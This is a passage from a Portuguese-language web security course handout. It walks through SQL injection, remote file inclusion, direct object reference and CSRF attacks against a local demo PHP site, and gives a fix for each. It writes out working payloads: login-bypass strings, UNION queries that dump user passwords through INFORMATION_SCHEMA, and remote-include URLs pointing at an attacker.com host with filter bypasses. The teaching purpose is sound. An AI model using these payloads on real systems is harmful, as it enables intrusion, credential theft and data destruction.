Neste aspecto, temos dois meios de explorao, o primeiro seria inserir o primeiro injection visto no campo usurio e ir chutando senhas aleatrias, desta forma, o campo usurio seria ignorando e se a senha coincidir com a senha de qualquer usurio o mesmo seria utiliz ado para autenticao. O segundo seria induzir a senha, ou seja, bolar algum mecanismo para manipular a senha a fim de escolher qual senha utilizar. Para o primeiro mtodo, uma entrada como a seguinte seria satisfeita se existisse algum usurio com a senha 123456: Usurio: ' or ''=' Senha: 123456 Ao inserir os valores citados nos campos, o comando SQL resultante seria o seguinte:
Desta forma, seria localizado qualquer registro com senha 123456. Assim, um atacante experiente conseguiria desenvolver uma ferramenta de fora bruta (do ingls Brute Force) que tentaria obter acesso com um dicionrio de senhas padres. Outro mtodo mais avanado de se obter acesso anulando o comando SQL original e gerando um novo comando SQL, induzindo assim qualquer senha que de sejar. Para isto, uma entrada mais complexa deve ser fornecido, veja: Usurio: ' UNION SELECT 1,'hacker','login','*/ -- ' /* Senha: */ --
Pgina 25
Assim, todo o comando SQL ficaria da seguinte forma:
Como notado, o comando padro SQL no retorna nada e, atravs do comando UNION, foi gerado um segundo comando que retorna um registro de constantes, tendo as seguintes colunas: Id: 1 Nome: hacker Login: login Senha: */ -Ento, definimos a senha no novo registro como a mesma definida no formulrio HTML, tendo o seguinte resultado no navegador:
Repare que todos os ataques SQL Injection at ento demonstrados se baseiam em utilizar caracteres especiais do SQL. Dentre esses caracteres, o presente em todos os exemplos a aspas-simples, que no SQL utilizado como delimitador de cadeira de caractere (string). Com isto, diversos programadores protegem seus cdigos desses caracteres, s vezes removendoos quando for passar um desses parmetros para um comando SQL ou simplesmente aplicado o chamado escape.
3.2.1.4 Terceira Proteo do Primeiro Exemplo (Eficiente?)

No PHP, existe uma funo que faz o trabalho de escapar o texto de maneira a pass-lo como parmetro em uma comando SQL. Esta funo a addslashed() e possui o seguinte prottipo: string addslashes ( string $str ) Basicamente, ela escapa (insere uma barra invertida) os caracteres que podem causar riscos aos Bancos de Dados, que so aspas simples (), aspas duplas (), barra invertida ( \) e o caractere nulo (NUL). Se aplicarmos a funo addslashes() em nosso ultimo exemplo, o comando SQL passado para o Banco de Dados ficaria como segue: Pgina 26 Curso de Extenso Tecnolgica de Segurana em Web
Por mais que se tente explorar o cdigo, este o melhor modo de se proteger de SQL Injection em campos alfanumricos. Veja o cdigo final como fica: Se aplicarmos a funo addslashes() em nosso ultimo exemplo, o comando SQL passado para o Banco de Dados ficaria como segue:
Repare que se aplicarmos corretamente a funo addslashes() at mesmo o primeiro exemplo no estaria vulnervel, pois um atacante no conseguiria manipul ar a lgica dos comandos SQL.
Pgina 27
3.2.2 Segundo Exemplo (Ajax + Variveis Numricas)
importante ressaltar que o ultimo cdigo est livre de SQL Injection, porm nele ainda possvel notar duas falhas de segurana que sero vistas em captulos adiantes. Como dito anteriormente, o a utilizao da funo addslashes() til quando trabalhamos com variveis alfanumricas. O grande problema, que programadores no sabem ou no se importam com variveis numricas que podem ser manipuladas por um usurio atacante. No inicio desde captulo, foi comparado o grau de ocorrncia da falha de SQL Injection com a falha de Cross-Site-Scripting, defendendo a lgica de que ambas se equivalem quanto ocorrncia nas aplicaes web. Os mtodos de ataques SQL Injection visto at agora j so praticamente escassos na internet, porm, os prximos mtodos de explorao descritos so to comuns na Internet que, ao conhec-los, percebe-se o quo a gigante rede de computadores est a merc de pessoas mal-intencionadas. Uma ocorrncia extremamente encontrada na Internet semelhante ao prximo exemplo, j que a tecnologia Ajax (Asynchronous Javascript and XML) to difundida e utilizada na internet de maneira a aumentar a acessibilidade com o usurio porm sem pesar na mesma balanas aspectos que nos diz respeito a segurana.
Pgina 28
Vejamos o seguinte cdigo:
Ele consiste em um simples formulrio dinmico, onde ao selecione o campo select com um determinado ano, ser carregado os veculos desde ano no segundo select. possvel notar que a requisio solicitando os veculos feito ao arquivo buscaModelo.php que possui o seguinte cdigo:
O arquivo HTML em funcionamento pode ser visto na figura abaixo:
Pgina 29
3.2.2.1 Ferramenta Auxiliar (FireBug)

Quando trabalhamos com submisses que no so visveis, ou seja, no aparecem na URL ou so feitas pelo mtodo HTTP-POST, necessrio de alguma forma intercept-las. Para isto, recomendo a utilizao da ferramenta FireBug e Web Developer, disponveis para o navegador Mozilla Firefox. Com o FireBug possvel descobrir como esto sendo feitas as submisses ao servidor, alm de poder manipular os elementos da pgina e analisar os scripts envolvidos. Com o Web Developer, possvel tem um total controle dos formulrios, cookies, Javascript dentre outros. Para instalao dos componentes no Firefox, basta seleciona-se o menu Ferramentas Complementos e localizar pelas respectivas extenses na guia de instalao:
Com os complementos instalados, podemos utilizar para auxiliar em nosso processo de auditoria da aplicao. importante ressaltar que existem dois mtodos para ser localizar e neutralizar as vulnerabilidades em uma aplicao. Uma delas a auditoria de cdigo, onde temos acesso ao cdigo-fonte e atravs da leitura do mesmo e com o auxilio de algumas ferramentas encontram-se os pontos fracos, dando o nome de auditoria de cdigo. A outra atravs da aplicao, onde a partir da viso do usurio (ou atacante), tenta-se levantar os possveis vetores de ataques e ento parte-se para os ataques em si, visando obter sucesso. A essa ltima dar-se o nome de teste de intruso (pen-test penetration test).
Pgina 30
Com os complementos instalados, podemos not-los atravs da barra de ferramentas do Web Developer e com o cone do FireBug na bandeja do navegador. Ao selecionar um ano em um dos selects, atravs do FireBug possvel observar a requisio feita ao servidor:
Ento, basta copiar o endereo clicando com o boto direito no item da requisio e selecionando Copiar Localizao. A partir da basta col-lo na barra de endereo para acess-lo diretamente.
Vemos ento o item que foi adicionado outra listagem (modelo). importante ressaltar que, apesar do retorno ter sido em texto puro e a requisio ter sido atravs Ajax, o conceito se aplicao a qualquer tipo de retorno, como XML; e a qualquer tipo de meio de submisso, como formulrios POST e banners de Flash. Existem diversas maneiras de identificar um possvel vetor de ataque. Dependendo da configurao do servidor, uma simples entrada mal-formatada ou com caracteres especficos fazem a aplicao praticamente gritar Pultz... Estou vulnervel!. Porm, em alguns casos necessrio analisar algumas respostas do servidor para verificar a vulnerabilidades. No exemplo anterior, ao adicionar uma aspa simples varivel de URL ano, nota-se que no houve qualquer mensagem de erro do servidor, o que para muitos seria a concluso de que o
Pgina 31
mesmo no est vulnervel. Porm ao adicionarmos algumas informaes especficas, temos uma resposta um tanto quanto curiosa, vejamos alguns exemplos:
Repare que os trs valores passados possuem uma caracterstica em comum: 1953-1 = 3914/2 = sqrt(3810304) = 1952 Os trs valores representam o registro do ano 1952 (Ferrari 250 S Vignale Coupe), o que confirma a vulnerabilidade, visto que o valor fornecido varivel est sendo repassada diretamente para a consulta SQL. Tendo um possvel vetor de ataque, agora basta passar para o processo de explorao.
Pgina 32
3.2.2.2 - Utilizando o INFORMATION_SCHEMA

Muitos bancos de dados possuem recursos realmente teis, porm ao se dizer que um recurso til para o desenvolvedor, pode-se dizer que o mesmo tambm extremamente til para um atacante. Um exemplo clssico disto a representao de toda a sua estrutura interna em um Banco de Dados chamado INFORMATION_SCHEMA, e esse sempre foi um dos melhores amigos de muitos atacantes. A INFORMATION_SCHEMA possui tudo relacionado ao Banco de Dados em uma estrutura relacional, como tabelas, campos, triggers, views, privilgios etc. Vejamos sua estrutura relacional:
Porm, para um atacante, somente duas tabelas so fundamentais a TABLES e a COLUMNS que possuem a seguinte estrutura:
Pgina 33
Repare que a tabela TABLES possui um campo chamado TABLE_NAME e que a tabela COLUMNS possui um campo COLUMN_NAME e um campo TABLE_NAME. Com isto, possvel obter a estrutura interna inteira do Banco de Dados atravs de uma simples vulnerabilidade. Para o nosso exemplo vulnervel, inicialmente necessitamos sabe como est organizado o comando SQL original. Atravs do cdigo sabemos isto, porm em um ambiente hostil (na selva) isso no ocorre.
3.2.2.3 Descobrindo o Nmero de Colunas

A primeira coisa que necessitamos saber a quantidade de colunas que a consulta SQL principal retorna. Para isto, podemos fazer por fora bruta, adicionando coluna por coluna em uma sub-consulta at ele executar o comando com sucesso. Um exemplo seria as seguintes tentativas: ano=0 UNION SELECT 1 (Erro) ano=0 UNION SELECT 1,2 (Erro) ano=0 UNION SELECT 1,2,3 (Erro) ano=0 UNION SELECT 1,2,3,....,100 (Sucesso) Porm isto seria extremamente exaustivo em uma consulta com 50 itens ou mais, j que seria necessrio testar todos os valores at a quantidade correta.
Pgina 34
Outra maneira mais recomendada seria atravs de uma tentativa de ordenao pelo ndice da coluna, j que assim podemos achar a quantidade de colunas em uma ordem de tempo binria (semelhante busca binria). No binria de 0s e 1s, mas sim binrio que a diviso seria feita sempre pela metade, ou seja, seria possvel achar a quantidade de colunas em muito menos tempo (menos da metade) que o mtodo anterior. Veja: campo=0 ORDER BY 100 (Erro) campo=0 ORDER BY 50 (Erro) campo =0 ORDER BY 25 (Erro) campo =0 ORDER BY 12 (Sucesso) campo =0 ORDER BY 20 (Sucesso) campo =0 ORDER BY 23 (Erro) campo =0 ORDER BY 21 (Sucesso) campo =0 ORDER BY 22 (Erro) Desta forma, sabemos que se colocarmos um ndice maior do que o nmero de colunas gerar um erro, caso contrrio, o comando ser executado com sucesso. Assim, colocamos inicialmente um numero grande (como 100) e vemos que gerou o erro, desta forma, vamos quebrando o nmero pela metade at ter sucesso na execuo. No exemplo, ordenando pelo nmero 25 tivermos erro e ao ordenar com o numero 12 no tivemos. Isto significa que o nmero de colunas est no intervalo de 12 25 (inclusive 12). Ao irmos executado os passos, chegamos a um estado em que com 21 obtivemos sucesso na execuo da consulta e que 22 gerou um erro. Desta forma, possvel concluir que a consulta possui exatas 21 colunas. Vamos fazer os testes para o exemplo fornecido:
Pgina 35
Assim, pode-se concluir que o cdigo possui exatas duas colunas em sua consulta SQL.
3.2.2.4 Obtendo colunas visveis

O prximo passo identificar qual, dentre todas as colunas, so visveis ao usurio. As sim saberemos quais colunas pode ser manipulados para a efetivao do ataque. Para isto, basta ligar outro comando SQL com duas colunas ao comando original, fazendo com que ele imprima os campos como se fizesse parte do resultado. Acessando a seguinte URL obtm-se o seguinte resultado: http://localhost/AtaquesWeb/buscaModelo.php?ano=-1%20UNION%20SELECT%201,2
Pgina 36
3.2.2.5 Localizando Tabelas Necessrias

possvel notar que ambas as colunas so visveis. O prximo passo utilizar os benefcios das tabelas TABLES e COLUMNS para saber quais so as tabelas e campos do Banco de Dados. Veja como um atacante pode tirar proveito delas para a obteno dos dados para acessar o sistema:
http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES Repare que na listagem aparecem todas as tabelas do sistema e, dentre elas, a tabela que contem os usurios (tblusuarios) do exemplo da tela apresentado anteriormente.
3.2.2.6 Descobrindo o Nome das Colunas

Tendo o nome da tabela, o prximo passo obter o nome dos campos que ela possue. Isto pode ser feito atravs da tabela COLUMNS, buscando os nomes das colunas ( COLUMN_NAME) da tabela que possue o nome (TABLE_NAME) tblusuarios, utilizando a seguinte URL: http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tblusuarios' Tanto antes quanto agora foi necessrio especificar em Banco de Dados (schemata) estamos buscando as tabelas. No caso isso feito atravs do casamento SCHEMA.TABELA, no caso o schema que foi utilizado foi o INFORMATION_SCHEMA que, como dito antes, armazenar informaes da estrutura interna do banco de dados. A URL informada anteriormente lista os campos da tabela tlbusuario e possui a seguinte resposta:
Pgina 37
Com isto, sabemos que temos uma tabela com nome tblusuario que possui os campos id, nome, usurio e senha.
3.2.2.7 Efetuando o Ataque

Agora basta efetuar o ataque utilizando a informaes que obtivemos. Com isto, para listar os usurios e senhas do banco de dados basta acessar a seguinte URL: http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT usuario,senha FROM tblusuarios Que teremos a seguinte resposta:
De maneira mais organizada, o que a explorao nos retornou foi o seguinte: Usurio admin maycon Senha 123456 chuck
Pode parecer que no, mas impressionante como existem milhares de portais e sistemas web com o mesmo vetor de vetor de vulnerabilidade. Portais que possuem informaes de clientes, informaes de cartes de crditos dentre outras coisas que um administrador ou um usurio no desejariam que casse em mos erradas esto realmente vulnerveis a esse tipo de falha, o que torna a possibilidade de ataque uma questo de tempo. No exemplo anterior, foi necessria a utilizao das aspas para sucesso no ataque, pois sem elas no seria possvel (veremos que no bem assim) definir qual tabela estamos procurando os campos. claro que poderamos relacionar as duas tabelas e selecionar pelo ndice do registro da tabela, porm tornaria o comando de injection bastante complexo e, no final, acabaramos esbarrando em algum outro empecilho. Um programador pouco experiente em segurana possui conhecimento bsico do primeiro mtodo utilizado e, para proteger seus cdigos filtra todos os campos que sero passados para uma consulta SQL das aspas simples. De uma maneira geral, um programador que entenda o bsico de SQL Injection ficaria com uma falsa segurana fazendo o seguinte cdigo:
Pgina 38
Porm, como estamos executando comandos no Banco de Dados, temos acesso s funes internas do mesmo. Dentre as funes esto s funes algbricas, funes de formatao, funes de administrao do BD, funes de tratamento de textos entre outras categorias. Como podemos executar tais funes, basta ver qual recurso o banco de dados nos oferece para driblar esse mecanismo de proteo. O meio mais simples de fazer isto, seria atravs da funo CHAR() que, a partir de uma lista de valores ASCII retorna o texto resultante dos caracteres. No caso anterior, foi passado o valor tblusuario para a consulta. Em forma ASCII, cada uma das letras pode ser visto na tabela abaixo: Letra ASCII t 116 b 98 l 108 u 117 s 115 u 117 a 97 r 114 i 105 o 111 s 115
Formando, ento, a seguinte representao atravs da funo CHAR(): http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(116, 98, 108, 117, 115, 117, 97, 114, 105, 111, 115) Esse exemplo foi especfico para o SGBD MySQL, porm qualquer banco de dados descente possui funo semelhante. Para se proteger desse tipo de vulnerabilidade, segue-se o mesmo conceito de sempre: Ao invs de procurar ver se o usurio est fornecendo algum dado malfico, faa com que ele fornea somente o que voc necessita. Com isto, no exemplo anterior, analisamos que a varivel em questo estritamente numrica. Portanto, basta verificar se o valor fornecido pelo usurio numrico ou no. Cada linguagem possui um recurso para isto. No caso do PHP, isto pode ser feito atravs da funo is_numeric() que possui a seguinte definio: bool is_numeric ( mixed $var )
Pgina 39
Esta funo simplesmente retorna true se o parmetro fornecido for numrico ou false caso contrrio. Desta forma, nosso cdigo seguro ficaria da seguinte maneira:
O exemplo fornecido foi feito atravs do mtodo GET por Ajax. Porm, em alguns casos os dados so enviados por mtodos POST o que torna impossvel enviar informaes que gerem um Injection simplesmente alterando uma varivel da URL. Para isto, existem duas maneiras de se testar o Injection. A primeira criar um formulrio com os mesmo nomes de campos que o formulrio original e com o mesmo destino. Porm, possvel no servidor verificar se os dados esto foram fornecidos do mesmo servidor ou de um servidor diferente (nunca vi isso em prtica, porm possvel). A outra maneira seria utilizar a ferramenta Web Developer citada anteriormente para converso e manipulao dos campos do formulrio. Assim, possvel converter campos select, campos hidden e campos option em campos do tipo text para que sua manipulao seja direta. No exemplo anterior, se os dados fossem enviados por mtodo POST para o destino, bastaria selecionar o item Convert Select Elements To Text Inputs no menu Forms da barra de ferramentas do Web Developer no Firefox:
Pgina 40
E com isto podemos aplica diretamente os dados do Injection de maneira prtica, simples e livre de qualquer dor de cabea que venhamos a ter, como a validao do endereo de referncia, a falta de dados no formulrio, nome de campos errados, a falta de sesso etc.
Dependendo do Banco de Dados utilizado pela aplicao, alguns recursos permitem a um atacante obter total controle do servidor. Um exemplo disto est na extenso cmd_shell presente nos Banco de Dados MS SQL Server da Microsoft que permite a um atacante executar um comando da Shell do servidor e, com isto, acessar o servidor, criar usurios, enviar e executar arquivos dente outras coisas que varia simplesmente de imaginao para imaginao.
3.2.7 - Concluso
Mais uma vez tanto o conceito da vulnerabilidade quando do mtodo preventivo se baseiam no mesmo aspecto de antes. A falha ocorre quando o programador confia nos dados fornecidos pelo usurio, levando em considerao que nenhuma entrada ser mal intencionada, indo completamente contra a terminologia ensinada, de que Toda entrada mal intencionada at que se provem o contrrio. Com relao preveno, mais simples que isso impossvel. Basta permitir que o usurio fornea apenas o que ele precisa fornecer, qualquer coisa diferente disto seria dito como ataque.
Pgina 41
3.3. Execuo de Arquivo Remoto (OWASP #3)

Comparado com as demais classes de vulnerabilidades at ento vistas, a vulnerabilidade e Remote Execution (Execuo Remota) a que mais causa impacto tanto para a aplicao quanto para o servidor. Em uma falha de SQL Injection, um atacante mais experiente consegue, atravs de recursos do Banco de Dados, executar comandos no servidor. Porm, a falha de Execuo de Arquivos remota infere diretamente nisto, permitindo de maneira simples executar e controlar completamente o servidor. Quando se desenvolve aplicaes ou se trabalha em empresas onde tempo dinheiro, muito comum exercer a pratica de produtividade acima de qualidade. Isto no est errado, pois quanto mais rpido se produzir mais tempo ter para ganhar dinheiro com outra coisa. Porm, comum vermos a filosofia de qualidade abaixo de tudo, ou o to conhecido lema se funciona no mecha. Tanto em ambiente Web quanto em qualquer outro meio tecnolgico, as ferramentas surgem para aumentar a produtividade, muitas vezes utilizadas de maneira incorreta ou equivocadas. No inicio, antes de surgir linguagens dinmicas (somente HTML), todas as pginas deveriam ser feitas na mo, tendo que repetir diversas coisas em todos os arquivos (menu, cabealho, rodap etc), o que dificultava muito a manuteno, j que ao adicionar um novo item de menu todos os arquivos deveriam ser atualizados. Em seguida, surgiram os HTML frames, que permitia ao webdesigner separar as partes repetidas e simplesmente cham-las do arquivo principal. Porm, esta pratica no agradavam muito, devido s limitaes e m aparncia que dava pgina exercer essa prtica. O que os levou a montar o leiaute da pgina utilizando tabelas e, mesmo assim repetir o contedo pgina por pgina. Com o surgimento das linguagens dinmicas para Web, diversas funes surgiram para auxiliar a produtividade, uma delas foi o fato de se poder carregar no prprio servidor um arquivo e integr-lo como se fizesse parte do arquivo que o est incluindo. No PHP (linguagem adotada para este curso), est funcionalidade obtida atravs das funes include(), include_once(), require() e require_once(). Todas recebem como parmetro o nome do arquivo que se deseja incluir e funcionam praticamente da mesma forma. A nica diferena que a funo require mata o processamento caso ocorra algum erro durante a incluso do arquivo (ex: arquivo no existir). As variaes que terminam com once so utilizadas quando se deseja adicionar o arquivo somente uma vez, ou seja, se o arquivo que se est sendo includo j estiver sido executado antes na mesma instancia do processo ele ser ignorado, isto utilizado para tratar dependncia de arquivos e para evitar ciclos infinitos. Uma caracterstica importante dessas funes que, ao incluir um novo arquivo ao arquivo corrente, caso no novo arquivo contenha alguma cdigo Server-side (em nosso caso PHP) o mesmo ser executado. Pgina 42 Curso de Extenso Tecnolgica de Segurana em Web
3.3.1 Exemplo
Como exemplo, vamos criar um mini-sistema que utiliza os recursos das funes visando produtividade. Ele consiste no arquivo principal, em um arquivo de cabealho, um arquivo de rodap e arquivos que representam o contedo. A aparncia do exemplo como segue:
O contedo foi gerado utilizando a ferramenta Loren Ipsum [http://pt.lipsum.com/ ] j bastante conhecida entre os WebDesigners, entretanto isto no vem ao caso. O fundamental a forma com que o site foi construdo. Portanto, vejamos o seu arquivo principal:
Pgina 43
possvel perceber que se utilizou em abundancia as funes include_once e include em busca de produtividade. Na forma com que o sistema est escrito, se for necessrio adicionar qualquer item novo ao menu ou alterar alguma coisa em seu rodap, basta modificar os arquivos menu.php ou rodap.php. O interessante para um atacante est no fato da pgina de contedo ser fornecida como um parmetro para o arquivo principal atravs da varivel http-get pagina. O que muitos programadores no sabem (ou simplesmente ignoram) que as funes include e famlia so bem mais extensivas do que eles imaginam. Uma das funcionalidades est no fato de os arquivos poderem estar ou no no servidor local, ou seja, pode -se fazer a incluso e execuo de arquivos em outros servidores. No caso do PHP, a equipe que desenvolve tem plena conscincia dos riscos que a m utilizao desta classe de funes pode causar. Para isto, o seguinte alerta de segurana esta disponvel na documentao oficial do PHP para estas funes:
Como dito, se o arquivo remoto tiver cdigo PHP os mesmos sero executados pelo servidor local. O grande problema de segurana que, da forma que o sistema esta desenvolvido, um atacante consegue manipular qual arquivo o usurio ser passado para a funo include().
Pgina 44
Comparando isto com o principio de segurana, o fato de o programador no seguir a filosofia de que toda entrada mal intencionada at que se provem o contrrio deixa o sistema vulnervel e susceptvel a um ataque. No exemplo dado, possvel notar que existem trs arquivos principais: home.php, histrico.php e contato.php. Eles so acessados atravs das seguintes URLs: http://localhost/AtaquesWeb/rfi/?pagina=home http://localhost/AtaquesWeb/rfi/?pagina=historico http://localhost/AtaquesWeb/rfi/?pagina=contato Isto porque o cdigo concatena a varivel pagina com o sufixo .php e em seguida repassa o resultado para a funo include(). Caso exista um arquivo http://www.attacker.com/phpinfo.txt com o seguinte contedo:
E o mesmo for passado como parmetro para o sistema vulnervel atravs da seguinte URL: http://localhost/AtaquesWeb/rfi/?pagina=http://www.attacker.com/phpinfo.txt O resultado seria o seguinte:
Ocorreu um erro na execuo do script. Isto porque antes de fazer a incluso do arquivo phpinfo.txt o mesmo foi concatenado com o sufixo .php, resultado no arquivo phpinfo.txt.php. Existem trs maneiras de se resolver este impasse. A primeira seria renomear o arquivo phpinfo.txt para phpinfo.php, porm, existe o risco de o arquivo ser executado no servidor do atacante (caso o mesmo esteja configurado para isto) ao invs do servidor da vtima. A Curso de Extenso Tecnolgica de Segurana em Web Pgina 45
segunda maneira seria a utilizao do smbolo de interrogao (?) ao final do nome do arquivo, para que seja acessado o seguinte arquivo no servidor da vtima: http://www.attacker.com/phpinfo.txt?.php O smbolo de interrogao (?) utilizado para separar o caminho do arquivo de suas variveis. Como o arquivo possui a extenso txt, ele no ser executado, ignorando ento o restante (.php) do caminho, resultando na execuo do arquivo no servidor local.
Outra maneira de burlar o sufixo .php inserido pelo cdigo atravs da insero do caractere nulo (%00), pois o mesmo indica o final de uma cadeira de caracteres, portanto o PHP ignorar tudo o que estiver aps ele. http://localhost/AtaquesWeb/rfi/?pagina=http://www.attacker.com/phpinfo.txt%00 No exemplo de ataque, foi utilizado um script que simplesmente executa a funo phpinfo() porm, para um atacante, isto se limita no que a linguagem possui. Com esse tipo de vulnerabilidade possvel enviar e-mails falso, ler e alterar o contedo de arquivos e at mesmo executar comandos no Sistema Operacional. Veja um exemplo de cdigo que executa comandos no Sistema Operacional:
Pgina 46
O cdigo acima simplesmente utiliza a funo passthru() do PHP para executar um dado comando e imprimir o retorno na tela. Semelhante a elas existem diversas outras funes e mtodos interessantes de apresentar e interagir com o usurio. Existem scripts famosos que j possuem dezenas de recursos e funcionalidades como a c99.txt (atualizado recentemente para c100.txt) e o r57.txt, que possuem mecanismo que burlam mtodos padres de proteo como o safe-mode do PHP alm de envio de email, navegao no sistema de arquivos, exploits e backdoor embutidos. Existem diversas tentativas de se evitar esse tipo de ataque, porm muitas delas no possuem sucesso pela falta de conhecimento dos detalhes que a linguagem fornecem. Um exemplo disto est na filtragem dos dados fornecidos, criando assim uma blacklist de contedo, evitando que alguns padres levem ao sucesso em uma tentativa de ataque:
No exemplo acima, feito a filtragem da cadeia de caracteres http:// e ftp://, entretanto, pela documentao oficial, a funo include() acessa diversos protocolos e Wrappers. O exemplo de proteo oferecido pode ser burlando facilmente utilizado os seguintes artifcios: https://www.attacker.com/cmd.txt? ftps://www.attacker.com/cmd.txt%00 ssh2.sftp://www.attacker.com/cmd.txt%00 Servidor SSH \\www.attacker.com\cmd.txt%00 Servidor Samba ou Compartilhamento de Arquivos
Pgina 47
Uma alternativa seria verificar se existe alguma configurao que impea a insero de arquivos remotos. No caso do PHP, existe uma configurao chamada allow_url_fopen que especifica se o PHP ter permisso ou no de acessar arquivos remotamente. Ao habilitar essa configurao (Colocar allow_url_fopen = Off no php.ini), ocorreria o seguinte alerta ao tentar explorar a falha prevista:
Porm mais uma vez, isto apenas gera uma falsa segurana, pois mesmo assim outros recursos podem ser obtidos com a no implementao da segurana diretamente na aplicao. Porm como os recursos no se enquadram em outra classe de vulnerabilidade, os mesmos sero vistos mais adiante na sesso 3.4 (Referncia Direta a Objetos Inseguros).
3.3.2 Soluo
A soluo vivel para o exemplo de cdigo vulnervel seria a criao de uma whitelist ao invs de uma blacklist, permitindo que seja passado como parmetro apenas o que for necessrio. Um exemplo seria a utilizao da seguinte funo:
Pgina 48
Esta funo responsvel por definir quais caracteres so validos em um determinado parmetro. Com isto, bastaria simplesmente utiliz-lo em seu cdigo como segue:
Pgina 49
3.4. Referncia Direta a Objetos Inseguros (OWASP #4)

A vulnerabilidade de Referncia Direta a Objetos ocorre quando o desenvolvedor confia nos dados fornecidos por um usurio, principalmente quando esses dados influenciam na poltica de controle e de acesso. comum vermos que diversas informaes que so utilizadas para manipular filtros e permisses podem ser livremente alteradas por um usurio mal intencionado.
3.4.1 Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional

Um exemplo seria o mesmo visto na sesso anterior que, com o cdigo vulnervel e a configurao allow_url_fopen, no seria possvel acessar arquivos remotos, porm nada impede um atacante de acessar arquivos locais do servidor. Um exemplo seria a utilizao da vulnerabilidade para acessar arquivos sigilosos do sistema operacional, como arquivos de configurao e arquivos de contas de usurios. Um exemplo abaixo, foi acessar o arquivo boot.ini contido na raiz do Sistema Operacional:
Em um processo de invaso de um servido Unix (Linux e famlia), esta falha possibilitaria ao atacante acessar o arquivo /etc/passwd que contem informaes das contas. Muitos acreditam que o simples fato de se ter s contas e no s senhas no oferece qualquer risco. Mais isto no o fato. O autor desde material ao fazer o servio de pen-test (Teste de Intruso) em uma aplicao Web, notou uma falha que possibilitava a um atacante saber se uma conta era vlida ou no no sistema. Com isto, fez-se um programa que buscava enumerar as contas utilizando de fora bruta. Aps algumas horas, conseguiu-se o nome de onze (11) contas vlidas e, com as contas bastaria fazer outro ataque de fora-bruta para obter as senhas. Como dicionrio de senha, foi gerado um arquivo com todas as possveis datas em um intervalo (ex: 010170 at 31122007) e, Pgina 50 Curso de Extenso Tecnolgica de Segurana em Web
por incrvel que parea foi possvel obter acesso a quatro das contas. Com isto, possvel demonstra que nunca se deve desvalorizar uma informao, por mais desprezvel que ela seja.
3.4.2 Segundo Exemplo - Acesso a Registros do Banco de Dados

Outro exemplo muito comum ocorre quando o desenvolvedor utiliza o lado do usurio (campos hidden, cookies, etc) para armazenar informaes que definem quem o usurio ou informaes relacionadas poltica de segurana. Pois j que est do lado do usurio ( clientsite) nada impede um atacante de alter-lo. Um exemplo seria o seguinte:
Este cdigo efetua uma consulta filtrando somente os registros cujo dono seja o usurio atual, exibe o resultado da listagem dos carros em uma tabela e para cada item exibe uma opo de deleo. possvel notar uma preocupao com a segurana, pois existe a utilizao da funo do PHP htmlspecialchars() que, como visto quando falamos de XSS, evita que esse tipo de explorao ocorra. possvel notar que ele faz a utilizao do seguinte acesso para efetuar a remoo de um dado registro: Curso de Extenso Tecnolgica de Segurana em Web Pgina 51
http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=14 Ele acessa um arquivo chamado ao.php passando os parmetro op com o valor deletar e uma varivel carro que seria a possvel identificao do veculo. Vejamos o contedo do arquivo acao.php:
Nota-se neste cdigo que o mesmo no est vulnervel a SQL Injection, pois verificado se o valor que deveria ser numrico realmente consiste unicamente em um valor numrico. Em seguida utilizado este valor para efetuar a remoo do registro do banco de dados. Um atacante teria sucesso em remover qualquer registro da tabela tblcarros, pois no especificado no comando SQL qual o proprietrio do veculo e, por mais que na tela de listagem s existam registro do usurio, possvel montar uma requisio especificando qualquer identificador: http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=1 http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=2 http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=3 ... http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=n Se o objetivo fosse limpar todos os registros do Banco de Dados, seria simples desenvolver uma ferramenta que executasse um ciclo (loop) e removesse registro por registro.
Pgina 52
3.4.3 Soluo
A soluo para este tipo de falha , como em qualquer outra, no confiar nos dados fornecidos pelo usurio. No exemplo fornecido, o seguinte cdigo inibe esse tipo de ataque:
Como visto no cdigo, juntamente com o comando SQL fornecido o cdigo do usurio que est (ou pelo menos deveria estar) exercendo a funo de remoo do registro. Na soluo simplesmente levamos em considerao que toda entrada mal intencionada at que se provem o contrrio.
Pgina 53
3.5. Cross Site Request Forgery (OWASP #5)

A vulnerabilidade de Cross Site Request Forgery (XSRF) consiste em uma variao da vulnerabilidade de Cross Site Scripting (XSS). Ela parte do mesmo principio do XSS, ou seja, alterar uma informao que esta sendo enviada ao navegador do usurio (vtima). Porm, importante ressaltar que qualquer sistema vulnervel a XSS tambm est vulnervel a XSRF ms nem toda aplicao vulnervel a XSRF est vulnervel a Cross-Site-Scripting.
3.5.1 Primeiro Exemplo Forum Logout

Diversos fruns permitem aos membros associarem suas contas a um avatar, ou seja, a uma figura de exibio. Essa associao geralmente feita com avatares pr -definidos, atravs do envio de arquivos ou simplesmente atravs do envio do endereo (url) da figura. comum ver ataques a frum inseguros que utilizam deste recurso. Um usurio mal intencionado simplesmente escolhe a opo de fornecer um endereo de internet como seu avatar e, como caminho da figura, insere o seguinte valor: http://www.forum.com/logout.php Desta forma o frum, ao exibir as informaes do usurio enviaria o seguinte para o navegador: <img src= http://www.forum.com/logout.php /> Fazendo com que seja enviada uma solicitao de logout utilizando as credenciais do usurio.
3.5.2 Segundo Exemplo Sites de e-Commerce

Outro tipo de sistema muito susceptvel a ataques de XSRF so os sites de comrcio eletrnico. Isto ocorre principalmente pela vantagem que um atacante teria ao conseguir que outros usurios enviassem requisies utilizando suas respectivas credenciais de acesso, podendo fazer lances e efetuar comprar de produtos de maneira inconsciente. O portal de veculos utilizado neste material foi modificado para que os usurios possam trocar os veculos entre si. Foram feitos as seguintes modificaes:
Pgina 54
Agora possvel alterar o proprietrio de um carro e tambm fornecer um caminho (url) de uma foto ao fazer o cadastro de um novo veculo. Para a alterao do proprietrio no formulrio, temos o seguinte cdigo:
